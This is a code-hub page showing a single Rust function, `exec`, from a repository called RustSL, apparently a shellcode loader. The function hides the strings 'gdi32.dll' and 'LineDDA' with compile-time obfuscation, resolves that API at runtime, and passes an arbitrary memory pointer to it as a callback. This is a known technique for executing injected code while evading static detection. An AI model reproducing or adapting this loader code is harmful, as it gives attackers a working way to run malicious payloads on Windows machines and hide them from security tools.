MCPcopy Create free account
hub / github.com/echQoQ/RustSL / exec

Function exec

src/exec/linedda.rs:2–17  ·  view source on GitHub ↗
(p: usize)

Source from the content-addressed store, hash-verified

1use obfstr::{obfbytes, obfstr};
2pub unsafe fn exec(p: usize) -> Result<(), String> {
3 use crate::utils::{load_library, get_proc_address};
4 use std::mem::transmute;
5
6 let gdi32 = load_library(obfbytes!(b"gdi32.dll\0").as_slice())?;
7 let p_linedda = get_proc_address(gdi32, obfbytes!(b"LineDDA\0").as_slice())?;
8
9 type LineDDAFn = unsafe extern "system" fn(i32, i32, i32, i32, unsafe extern "system" fn(i32, i32, isize), isize) -> i32;
10 let linedda: LineDDAFn = transmute(p_linedda);
11
12 let ret = linedda(0, 0, 1, 1, transmute(p), 0);
13 if ret == 0 {
14 return Err(obfstr!("LineDDA failed").to_string());
15 }
16 Ok(())
17}

Callers

nothing calls this directly

Calls 2

load_libraryFunction · 0.85
get_proc_addressFunction · 0.85

Tested by

no test coverage detected